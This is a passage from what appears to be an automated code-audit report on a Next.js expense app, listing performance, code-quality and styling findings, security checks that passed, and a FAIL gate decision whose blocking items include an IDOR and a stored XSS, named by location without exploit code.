  Both depend only on `routeParams.project`, which is known before either runs.
**Why it matters:** Adds one full DB round-trip latency to TTFB. Every sibling
  list page parallelizes (`Promise.all` at orders/page.tsx:24, expenses/page.tsx:22,
  admin/*/page.tsx:23) — this is the outlier.
**Recommended fix:** `const [project, data] = await Promise.all([...])`, then
  `if (!project) notFound()`. Note the tradeoff: the expense query would run even
  for a nonexistent project id. Given `notFound()` is a rare path, that is the
  right trade — but it is a real behavior difference worth stating.
**Risk of change:** Low.
**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[code-quality] CQ4 — P3
**File:** app/(app)/expense-summary/[project]/page.tsx
**Location:** lines 2, 22, 33
**Category:** structure (separation of concerns)
**Problem:** The page imports Prisma and queries the database inline, while every
  other page in the app goes through lib/queries/*.
**Evidence:**
    import { prisma } from "@/lib/prisma";                          // line 2
    import { expenseItemsForProject } from "@/lib/queries/expenses"; // line 3
    ...
    const project = await prisma.project.findUnique({ ... });        // lines 22, 33
  It is the ONLY page under app/(app)/ that imports `@/lib/prisma` directly
  (verified across the route tree). It even imports lib/queries/expenses on the
  very next line for its other query — so it is inconsistent with itself.
**Why it matters:** lib/queries is where query concerns (memoization, select
  shape, sort whitelists) live; a query outside it does not get them — which is
  exactly why P2f (the duplicate round trip) exists. The layering violation and
  the perf bug are the same defect seen twice.
**Recommended fix:** Move it to lib/queries/masters.ts as a `cache()`-wrapped
  `getProject(id)`. Resolves P2f simultaneously.
**Risk of change:** Low — pure relocation.
**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[code-quality] CQ5 — P3
**File:** all 9 list pages (see D1 for the line numbers)
**Location:** each page's `buildHref`
**Category:** efficiency / correctness-adjacent
**Problem:** Re-sorting preserves the current page number.
**Evidence:** `Object.entries({ ...params, ...extra })` — `params` (from
  parseListParams) carries `page`, and `extra` for a sort click is only
  `{ sort, dir }`. So the emitted href keeps `page=5`.
**Why it matters:** A user on page 5 of 6 who clicks a column header gets page 5
  of the newly-sorted set — a different, arbitrary slice, and on an uneven final
  page possibly a near-empty one. Standard behavior is to return to page 1 on
  re-sort. Raised as P3 not P2 because it is a UX wrinkle, not data loss, and it
  is uniform across all nine pages (so at least it is consistently wrong).
**Recommended fix:** Fold `page: 1` into the sort-href construction — naturally
  handled once D1's shared helper exists.
**Risk of change:** Observable behavior change on every list screen. Confirm it
  is the intended UX before changing; do NOT auto-fix.
**Fixed:** NO — behavior-changing.

--------------------------------------------------------------------------------

[css-dry] C2 — P3
**Concept:** "empty-cell em-dash placeholder"
**Files:**
    app/(app)/expense-summary/[project]/page.tsx:50
    components/forms/ExpenseForm.tsx:156
    components/forms/ExpenseForm.tsx:169
**Evidence:** identical in all three —
    <span className="text-sm text-text-muted">—</span>
**Why these are the same concept:** All three mean "this record has no
  attachment", rendered in the same visual slot (the Attachment column/cell),
  and all three sit directly opposite an `<AttachmentChip>` in the same ternary.
  A change to how "no value" reads — a different glyph, a screen-reader label,
  a different grey — applies to all three.
**Recommended primitive:** Fold it into AttachmentChip as its null state (the
  component already owns the non-null rendering), or a tiny `<EmptyCell />`.
  AttachmentChip is the better home: it already handles the presence case in all
  three of these spots, so the ternaries collapse entirely.
**Priority:** P3 — three instances, trivial markup, low drift cost.
**Risk of change:** Very low; identical output.
**Fixed:** NO — would have qualified for Step 3 auto-fix, but no write access.

--------------------------------------------------------------------------------

[css-performance] CP1 — P3
**File:** components/forms/ResetPasswordForm.tsx
**Location:** lines 154, 160, 173, 176, 180, 183
**Component:** ResetPasswordForm (strength meter + password-policy card)
**Problem:** Six raw `rgb(...)` literals where design tokens already exist for
  the same values.
**Evidence:**
    :154  className="text-[13px] text-[rgb(86,86,86)]"
    :160  i < strengthBars ? "bg-status-success" : "bg-[rgb(230,230,230)]"
    :173  stroke={rulesMet[i] ? "rgb(34,158,75)" : "rgb(163,163,163)"}
    :176  rulesMet[i] ? "text-status-success" : "text-[rgb(163,163,163)]"
    :180  stroke="rgb(163,163,163)"
    :183  className="text-[13px] text-[rgb(163,163,163)]"
  Two of these have exact tokens in tailwind.config.ts already:
    rgb(86,86,86)  = #565656 = `text.subtle`     (config line 28)
    rgb(34,158,75) = #229e4b = `status.success`  (config line 77)
  The file is inconsistent with itself about it: line 164 correctly uses
  `text-status-success`, while line 173 hardcodes the same colour as a raw SVG
  stroke nine lines away. rgb(163,163,163) (used 3×, the "rule not yet met"
  grey) and rgb(230,230,230) (the empty strength bar) have no token at all.
**Why it matters:** tailwind.config.ts is heavily commented as the deliberate
  single source of design truth for this app (see its lines 14-19, 23-29, 33-48,
  62-85, all citing measured design-source evidence). Hardcoded literals bypass
  that layer, so a token change silently misses this screen. Inline `stroke`
  attributes additionally sit outside Tailwind's dedup/purge entirely.
**Recommended fix:** Use `text-text-subtle` for rgb(86,86,86) and
  `stroke-status-success` / `currentColor` for rgb(34,158,75). Add two tokens for
  the remaining greys — e.g. `text.disabled` (#a3a3a3) and `border.track`
  (#e6e6e6) — following the same purpose-scoped naming the config already uses.
**Expected impact:** No visual change (identical values); restores token coverage.
**Risk of change:** Very low — verify the hex/rgb conversions are exact before
  swapping.
**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[css-performance] CP2 — P3
**File:** components/forms/ResetPasswordForm.tsx
**Location:** lines 173-175 and 180-182
**Component:** ResetPasswordForm (password-policy checklist)
**Problem:** The same 8-attribute inline checkmark `<svg>` is written twice in
  one file, differing only in `stroke`.
**Evidence:** both blocks are —
    <svg width="15" height="15" viewBox="0 0 20 20" fill="none" stroke={...}
         strokeWidth="1.8" strokeLinecap="round" strokeLinejoin="round"
         className="shrink-0" aria-hidden="true">
      <path d="M4 10.5 L8 14.5 L16 5.5" />
    </svg>
  Line 173's stroke is conditional; line 180's is the fixed grey for the
  "Not last 3 passwords" row that cannot be checked client-side (documented at
  lines 20-22).
**Why it matters:** Small, single-file, low-stakes — hence P3. But it is literal
  copy-paste including the path data, and the file already imports `lucide-react`
  (line 7) for its Eye/EyeOff icons, so a `<Check>` from the icon set it is
  already paying for would remove the inline SVG entirely.
**Recommended fix:** Extract a local `PolicyRule({ label, met })` covering both
  the icon and its label span — that collapses lines 171-184 into one map plus
  one static entry, and takes CP1's stroke literals with it.
**Expected impact:** ~10 fewer lines; one place to change the checkmark.
**Risk of change:** Low; verify the checkmark renders identically (the custom
  path is not the same glyph as lucide's `Check` — if exact visual parity
  matters, keep the path and just extract the component).
**Fixed:** NO — would have qualified for Step 3 auto-fix, but no write access.

================================================================================
AREAS CHECKED AND FOUND CLEAN
(recorded deliberately — every skill above asks for this rather than silent omission)
================================================================================

[security]
  - Identity is established on EVERY request. middleware.ts:26-28's matcher
    covers all paths bar /login and static assets, and its comment correctly
    notes this also catches Server Action POSTs (dispatched to the page URL).
  - Authorization is genuinely layered, not merely claimed. Layer 1 (edge,
    cookie snapshot) middleware.ts:44-51; layer 3 (Node, DB-authoritative)
    lib/permissions/guard.ts. guard.ts re-reads permissions from the DB on every
    call and honours `sessionVersion` revocation (lines 33, 76) — so the edge
    layer's documented staleness is safe by construction, as claimed.
  - Every mutating expense action calls the Node guard directly:
    requirePermission("expense:create") at lib/actions/expenses.ts:18,
    requirePermission("expense:update") at :47 — independent of middleware.
  - app/api/uploads/route.ts:33 calls checkPermission("attachment:upload") and
    returns 401 rather than relying on middleware alone. Correct for a Route
    Handler doing filesystem + DB writes.
  - Upload hardening is real: extension allowlist NOT denylist (lines 13-26,
    with a documented rationale for excluding .svg/.html/.js), extension↔MIME
    cross-check (line 65), 2MB cap enforced server-side (line 53) as well as
    client-side, and on-disk filename sanitized to `[^a-zA-Z0-9._-]` -> `_` with
    a timestamp prefix (line 75) — path traversal not reachable.
  - Self-service actions are correctly scoped. lib/actions/profile.ts never
    accepts an id from the client; both actions derive it from
    `requireActiveSession().uid` (lines 18, 78). changeMyPassword additionally
    verifies the current password (line 89), enforces 3-password history reuse
    (lines 99-109), bumps sessionVersion, and deletes the caller's own cookie
    (line 142). No IDOR available on either.
  - NO raw SQL anywhere: `grep -rn "\$queryRaw|\$executeRaw" app components lib`
    -> no matches. All access is via Prisma's typed API. Sort keys — the obvious
    injection surface for a `?sort=` param — are whitelisted through
    lib/params.ts:62-81 (`orderBy`/`orderByMap`), and an unknown key falls back
    silently rather than reaching the query (documented at lib/queries/expenses.ts:8-11).
  - NO `dangerouslySetInnerHTML`, NO `eval`, NO `new Function` — grep across
    app/, components/, lib/ returns nothing.
  - NO `NEXT_PUBLIC_*` variables exist at all, so no secret can be leaking
    through one. No hardcoded-looking credentials found in the audited files.
  - Cookie handling uses a signed token verified via WebCrypto HMAC
    (lib/auth.ts:136+); session revocation on password change works as designed.

[performance]
  - `npx next build` succeeds. Shared First Load JS 87.3 kB; worst route 127 kB.
    No oversized chunk, no barrel-import bloat, no obviously heavy dependency.
    No bundle-size finding raised.
  - Data fetching on 8 of the 9 list pages is already correct: page-bounded via
    `skipTake(params)` and parallelized via `Promise.all` (orders/page.tsx:24-28,
    expenses/page.tsx:22, admin/*/page.tsx:23, users/page.tsx:30-34). Only
    expense-summary/page.tsx (P1f) and expense-summary/[project] (P4f) deviate.
  - No N+1 in the list queries — relations are pulled with `include`, not
    per-row lookups.
  - No `<img>` tags; no `next/image` misuse to report because no images are
    rendered by the audited pages. No external font `@import`/`<link>`; no
    third-party scripts, so no `next/script` strategy concerns.
  - `"use client"` usage is justified where it appears in the audited set:
    ExpenseForm and ResetPasswordForm both need useState/useFormState/refs;
    Pagination/SearchInput/FilterBar need useRouter/useSearchParams. None is a
    candidate for demotion to a Server Component. The nine pages are correctly
    Server Components with small client leaves.
  - The single `useMemo` in the audited set (ExpenseForm.tsx:76, `today`) is
    fine, and the one in ResetPasswordForm (line 93, `rulesMet`) is trivially
    cheap — neither warrants a "remove the memo" finding.

[css-performance]
  - tailwind.config.ts:4 — `content: ["./app/**/*.{ts,tsx}", "./components/**/*.{ts,tsx}"]`.
    Correctly narrow; no node_modules scanning, no over-broad glob. Tailwind v3
    with a matching v3-style config. No `safelist` at all.
  - app/globals.css is 51 lines total: 6 `@layer components` classes
    (.field-input, .field-control, .field-label, .field-error, .card, .link),
    each with a documented reason. The dead `.btn*` rules were already deleted
    rather than left behind (see its lines 12-15) — good hygiene, nothing to
    flag. No hand-written rule duplicates a Tailwind utility.
  - ZERO inline styles: `grep -rn "style={{" app components` -> no matches.
  - ZERO expensive visual effects: `grep -rn "blur-|backdrop-|bg-gradient"
    app components` -> no matches. No multi-layer shadow stacks. There is
    therefore nothing to flag under "heavy effects", and nothing for the
    animation skill's "animated + heavy-effect intersection" either.

[animation-performance]
  - `grep -rn "transition-all" app components` -> NO MATCHES. Every transition
    in the codebase names its property explicitly (transition-colors,
    transition-transform, transition-opacity, transition-[width],
    transition-[grid-template-rows]). This is the good pattern and worth
    recording — `transition-all` is the single thing this skill flags even when
    nothing looks broken, and the codebase has none of it.
  - `grep -rn "animate-" app components` -> NO MATCHES. No keyframe animations,
    no infinite/looping animations, nothing auto-playing, no carousels. The
    "infinite animation burning battery off-screen" class of finding is empty.
  - No staggered list-entrance animations, so no unbounded animated-element count.

[code-quality]
  - `npx tsc --noEmit` exits 0.
  - `npx next lint` reports no warnings or errors.
  - No `any`, `as unknown as`, `@ts-ignore`, or `@ts-expect-error` in any of the
    12 feature files. Types are specific throughout; the `unknown` on
    ExpenseForm.tsx:34 (`amount: unknown`) is a deliberate, narrow accommodation
    of Prisma's Decimal and is converted at the boundary (line 71) — correct, not
    a finding.
  - The one `eslint-disable` in the audited set (ResetPasswordForm.tsx:111,
    react-hooks/exhaustive-deps) is accompanied by a substantive comment
    (lines 102-105) explaining that the success path redirects server-side and
    only the error path produces a state update. Justified.
  - File sizes are proportionate: the largest audited file is ExpenseForm at 287
    lines, which is a long linear form plus a repeater-column definition — long
    because the UI is long, not because concerns are mixed. Not flagged, per the
    skill's "a big file isn't automatically a problem" rule.

[css-dry]
  - Evaluated and DELIBERATELY NOT FLAGGED: the nine list pages share an almost
    identical shell — <PageHeader> / <ListToolbar> / <DataTable> / <Pagination>
    with a `columns` array and a `buildHref`. This looks like a prime extraction
    target and is not one. Each page already composes shared primitives (the
    markup itself is not duplicated — only the composition is), and they differ
    in real ways: column sets, filter definitions, permission codes, query
    functions, empty-state copy. Collapsing them into one `<ListPage>` would
    trade nine short readable files for one heavily-parameterized component with
    nine call sites' worth of props. The genuine duplication in this cluster is
    the `buildHref` FUNCTION (D1) and the icon-link MARKUP (C1) — both flagged —
    not the page shell. Recording the judgment so it is visible as deliberate.
  - components/ui/ already provides Button (CVA variants), DataTable, Modal,
    Pagination, SearchInput, FilterBar, ListToolbar, RowActions, StatusBadge,
    AttachmentChip, SubmitButton and a fields/ set. The audited pages use them
    consistently; no page reimplements a primitive that exists (the C1 icon-link
    is the one exception, and no shared primitive for it exists yet — that is a
    "create X" finding, not a "use the existing X" one).

================================================================================
GATE DECISION
================================================================================
gate_status: FAIL

Rule applied (gate file, Step 4): PASS only if zero unresolved P1 findings
remain across all seven audits. Four remain — S1, S2 (security), P1f
(performance), D1 (dry-architecture) — none of them auto-fixable under Step 3's
constraints, and all four unfixable in this node regardless because it has no
write access.

P2/P3 findings are reported and do not block. No repo-specific override applies.

Blocking items, in the order worth addressing:
  1. S1  lib/actions/expenses.ts:82-95   unscoped expenseItem.update (IDOR)
  2. S2  lib/validation/schemas.ts:124   unvalidated attachment url -> stored XSS
  3. P1f lib/queries/expenses.ts:64-95   unbounded expense-summary aggregation
  4. D1  9 × app/**/page.tsx             buildHref duplicated nine times

Also worth the implementer's attention though NOT counted against this gate:
8 unit tests fail on `npx vitest run`, three of the six failing files covering
this ticket's own feature files. That belongs to the unit-test gate; recorded
here because it materially affects whether the fixes above can be verified.
================================================================================